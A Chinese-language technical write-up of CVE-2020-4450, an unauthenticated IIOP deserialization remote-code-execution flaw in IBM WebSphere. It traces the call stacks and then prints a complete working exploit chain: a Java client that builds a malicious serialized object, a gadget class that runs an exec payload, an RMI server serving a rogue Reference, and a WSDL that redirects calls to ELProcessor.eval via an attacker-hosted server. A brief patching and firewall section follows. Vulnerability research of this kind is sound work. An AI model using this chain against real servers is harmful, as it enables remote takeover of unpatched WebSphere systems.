WebSphere 远程代码执行漏洞浅析(CVE-2020-4450)
字数 1542 2025-08-20 18:17:47
WebSphere 远程代码执行漏洞分析(CVE-2020-4450)教学文档
漏洞概述
CVE-2020-4450是IBM WebSphere Application Server (WAS)中的一个高危远程代码执行漏洞,于2020年6月8日由IBM官方发布通告。该漏洞通过IIOP协议上的反序列化恶意对象实现攻击,未经身份认证的攻击者可以远程攻击WAS服务器,在目标服务端执行任意代码,获取系统权限。
漏洞原理分析
漏洞触发流程
- IIOP协议处理:WAS对于IIOP的数据由
com.ibm.ws.Transaction.JTS.TxServerInterceptor#receive_request方法处理 - 反序列化入口:当
ServiceContext对象不为空时,调用com.ibm.ws.Transaction.JTS.TxInterceptorHelper#demarshalContext进入反序列化执行流 - 反射调用:最终通过
com.ibm.rmi.io.IIOPInputStream#invokeObjectReader反射调用readObject方法进行反序列化
关键调用栈
readObject:516, WSIFPort_EJB (org.apache.wsif.providers.ejb)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:90, NativeMethodAccessorImpl (sun.reflect)
invoke:55, DelegatingMethodAccessorImpl (sun.reflect)
invoke:508, Method (java.lang.reflect)
invokeObjectReader:2483, IIOPInputStream (com.ibm.rmi.io)
inputObjectUsingClassDesc:2010, IIOPInputStream (com.ibm.rmi.io)
continueSimpleReadObject:749, IIOPInputStream (com.ibm.rmi.io)
simpleReadObjectLoop:720, IIOPInputStream (com.ibm.rmi.io)
simpleReadObject:669, IIOPInputStream (com.ibm.rmi.io)
readValue:193, ValueHandlerImpl (com.ibm.rmi.io)
read_value:787, CDRReader (com.ibm.rmi.iiop)
read_value:847, EncoderInputStream (com.ibm.rmi.iiop)
unmarshalIn:273, TCUtility (com.ibm.rmi.corba)
read_value:664, AnyImpl (com.ibm.rmi.corba)
read_any:467, CDRReader (com.ibm.rmi.iiop)
read_any:797, EncoderInputStream (com.ibm.rmi.iiop)
demarshalContext:171, TxInterceptorHelper (com.ibm.ws.Transaction.JTS)
receive_request:180, TxServerInterceptor (com.ibm.ws.Transaction.JTS)
dispatch:508, ServerDelegate (com.ibm.CORBA.iiop)
核心利用点
利用org.apache.wsif.providers.ejb.WSIFPort_EJB.class的readObject方法中的JNDI注入逻辑:
lookup:150, RegistryContext (com.sun.jndi.rmi.registry)
lookup:217, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:161, DelegateContext (org.apache.aries.jndi)
lookup:428, InitialContext (javax.naming)
getEJBObject:166, EntityHandle (com.ibm.ejs.container)
readObject:516, WSIFPort_EJB (org.apache.wsif.providers.ejb)
关键利用技术
- JNDI注入:修改
environment变量中的java.naming.factory.object属性值为org.apache.wsif.naming.WSIFServiceObjectFactory - WSIF利用:通过自定义wsdl文件将接口方法映射到其他类的危险方法
- EJB规范利用:通过自定义wsdl文件映射EJBHome的
findByPrimaryKey方法到javax.el.ELProcessor的eval方法
漏洞复现
环境准备
- 受影响的WebSphere Application Server版本
- 攻击机(运行POC代码)
- RMI服务器(用于托管恶意Reference对象)
- HTTP服务器(用于托管恶意wsdl文件)
POC代码分析
主测试类
public class Test {
public static void main(String[] args) throws Exception {
Properties env = new Properties();
env.put(Context.PROVIDER_URL, "iiop://169.254.0.117:2809");
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.ibm.websphere.naming.WsnInitialContextFactory");
InitialContext context = new InitialContext(env);
context.list("");
// 通过反射获取并修改内部上下文对象
Field f_defaultInitCtx = context.getClass().getDeclaredField("defaultInitCtx");
f_defaultInitCtx.setAccessible(true);
WsnInitCtx defaultInitCtx = (WsnInitCtx) f_defaultInitCtx.get(context);
Field f_context = defaultInitCtx.getClass().getDeclaredField("_context");
f_context.setAccessible(true);
CNContextImpl _context = (CNContextImpl) f_context.get(defaultInitCtx);
Field f_corbaNC = _context.getClass().getDeclaredField("_corbaNC");
f_corbaNC.setAccessible(true);
_NamingContextStub _corbaNC = (_NamingContextStub) f_corbaNC.get(_context);
// 获取并修改CORBA相关对象
Field f__delegate = ObjectImpl.class.getDeclaredField("__delegate");
f__delegate.setAccessible(true);
ClientDelegate clientDelegate = (ClientDelegate) f__delegate.get(_corbaNC);
Field f_ior = clientDelegate.getClass().getSuperclass().getDeclaredField("ior");
f_ior.setAccessible(true);
IOR ior = (IOR) f_ior.get(clientDelegate);
Field f_orb = clientDelegate.getClass().getSuperclass().getDeclaredField("orb");
f_orb.setAccessible(true);
ORB orb = (ORB) f_orb.get(clientDelegate);
// 设置恶意上下文
GIOPImpl giop = (GIOPImpl) orb.getServerGIOP();
Method getConnection = giop.getClass().getDeclaredMethod("getConnection", com.ibm.CORBA.iiop.IOR.class, com.ibm.rmi.Profile.class, com.ibm.rmi.corba.ClientDelegate.class, String.class);
getConnection.setAccessible(true);
Connection connection = (Connection) getConnection.invoke(giop, ior, ior.getProfile(), clientDelegate, "beijixiong404");
Method setConnectionContexts = connection.getClass().getDeclaredMethod("setConnectionContexts", ArrayList.class);
setConnectionContexts.setAccessible(true);
ArrayList v4 = new ArrayList();
// 创建恶意WSIFPort_EJB对象
WSIFPort_EJB wsifPort_ejb = new WSIFPort_EJB(null,null,null);
Field fieldEjbObject = wsifPort_ejb.getClass().getDeclaredField("fieldEjbObject");
fieldEjbObject.setAccessible(true);
fieldEjbObject.set(wsifPort_ejb,new EJSWrapperS());
// 构造恶意序列化数据
CDROutputStream outputStream = ORB.createCDROutputStream();
outputStream.putEndian();
Any any = orb.create_any();
any.insert_Value(wsifPort_ejb);
PropagationContext propagationContext = new PropagationContext(0,
new TransIdentity(null,null, new otid_t(0,0,new byte[0])),
new TransIdentity[0],
any);
PropagationContextHelper.write(outputStream,propagationContext);
byte[] result = outputStream.toByteArray();
// 设置恶意ServiceContext
ServiceContext serviceContext = new ServiceContext(0, result);
v4.add(serviceContext);
setConnectionContexts.invoke(connection, v4);
context.list("");
}
}
EJSWrapperS类
class EJSWrapperS extends EJSWrapper {
@Override
public Handle getHandle() throws RemoteException {
Handle var2 = null;
try {
SessionHome sessionHome = new SessionHome();
J2EEName j2EEName = new J2EENameImpl("aa", "aa", "aa");
// 通过反射设置EJBHome属性
Field j2eeName = EJSHome.class.getDeclaredField("j2eeName");
j2eeName.setAccessible(true);
j2eeName.set(sessionHome, j2EEName);
Field jndiName = sessionHome.getClass().getSuperclass().getDeclaredField("jndiName");
jndiName.setAccessible(true);
jndiName.set(sessionHome, "rmi://169.254.0.117:1099/poc");
// 构造恶意代码执行payload
Serializable key = "\"a\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('calc')\")";
BeanId beanId = new BeanId(sessionHome, key, true);
BeanMetaData beanMetaData = new BeanMetaData(1);
beanMetaData.homeInterfaceClass = com.ibm.ws.batch.CounterHome.class;
// 设置恶意ObjectFactory
Properties initProperties = new Properties();
initProperties.setProperty("java.naming.factory.object", "org.apache.wsif.naming.WSIFServiceObjectFactory");
Constructor c = EntityHandle.class.getDeclaredConstructor(BeanId.class, BeanMetaData.class, Properties.class);
c.setAccessible(true);
var2 = (Handle) c.newInstance(beanId, beanMetaData, initProperties);
} catch (Exception e) {
e.printStackTrace();
}
return var2;
}
}
RMI服务器
public class RMIServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
// 构造恶意Reference对象
Reference ref = new Reference(WSIFServiceStubRef.class.getName(), (String) null, (String) null);
ref.add(new StringRefAddr("wsdlLoc", "http://169.254.0.117:80/poc.wsdl"));
ref.add(new StringRefAddr("serviceNS", null));
ref.add(new StringRefAddr("serviceName", null));
ref.add(new StringRefAddr("portTypeNS", "http://wsifservice.addressbook/"));
ref.add(new StringRefAddr("portTypeName", "Gadget"));
ref.add(new StringRefAddr("preferredPort", "JavaPort"));
ref.add(new StringRefAddr("className", "com.ibm.ws.batch.CounterHome"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("poc", referenceWrapper);
}
}
恶意WSDL文件
<?xml version="1.0" ?>
<definitions targetNamespace="http://wsifservice.addressbook/"
xmlns:tns="http://wsifservice.addressbook/"
xmlns:xsd="http://www.w3.org/1999/XMLSchema"
xmlns:format="http://schemas.xmlsoap.org/wsdl/formatbinding/"
xmlns:java="http://schemas.xmlsoap.org/wsdl/java/"
xmlns="http://schemas.xmlsoap.org/wsdl/">
<!-- 定义消息类型 -->
<message name="findByPrimaryKeyRequest">
<part name="el" type="xsd:string"/>
</message>
<message name="findByPrimaryKeyResponse">
<part name="counterObject" type="xsd:object"/>
</message>
<!-- 定义端口类型 -->
<portType name="Gadget">
<operation name="findByPrimaryKey">
<input message="tns:findByPrimaryKeyRequest"/>
<output message="tns:findByPrimaryKeyResponse"/>
</operation>
</portType>
<!-- 定义绑定 -->
<binding name="JavaBinding" type="tns:Gadget">
<java:binding/>
<format:typeMapping encoding="Java" style="Java">
<format:typeMap typeName="xsd:string" formatType="java.lang.String"/>
<format:typeMap typeName="xsd:object" formatType="java.lang.Object"/>
</format:typeMapping>
<operation name="findByPrimaryKey">
<java:operation
methodName="eval"
parameterOrder="el"
methodType="instance"
returnPart="counterObject"
/>
</operation>
</binding>
<!-- 定义服务 -->
<service name="GadgetService">
<port name="JavaPort" binding="tns:JavaBinding">
<java:address className="javax.el.ELProcessor"/>
</port>
</service>
</definitions>
漏洞利用流程
- 启动RMI服务器,绑定恶意Reference对象
- 启动HTTP服务器,托管恶意WSDL文件
- 运行POC代码,触发漏洞
- WAS服务器通过IIOP协议接收恶意序列化数据
- 反序列化过程中触发JNDI查找
- 从RMI服务器获取恶意Reference对象
- 通过WSIFServiceObjectFactory加载恶意WSDL文件
- 将EJBHome的findByPrimaryKey方法映射到ELProcessor的eval方法
- 执行任意代码
防御措施
- 及时更新:应用IBM官方发布的安全补丁
- 网络防护:
- 限制IIOP端口的网络访问
- 使用防火墙规则限制不必要的IIOP通信
- 安全配置:
- 禁用不必要的IIOP服务
- 配置WebSphere安全域,限制远程访问
- 监控检测:
- 监控IIOP端口的异常流量
- 部署WAF规则检测恶意IIOP请求
技术要点总结
- IIOP协议:CORBA的通信协议,WebSphere使用它进行分布式通信
- 反序列化漏洞:通过构造恶意序列化对象触发
- JNDI注入:修改ObjectFactory实现类为恶意类
- WSIF利用:通过WSDL文件重定向方法调用
- EJB规范:利用findByPrimaryKey方法的调用机制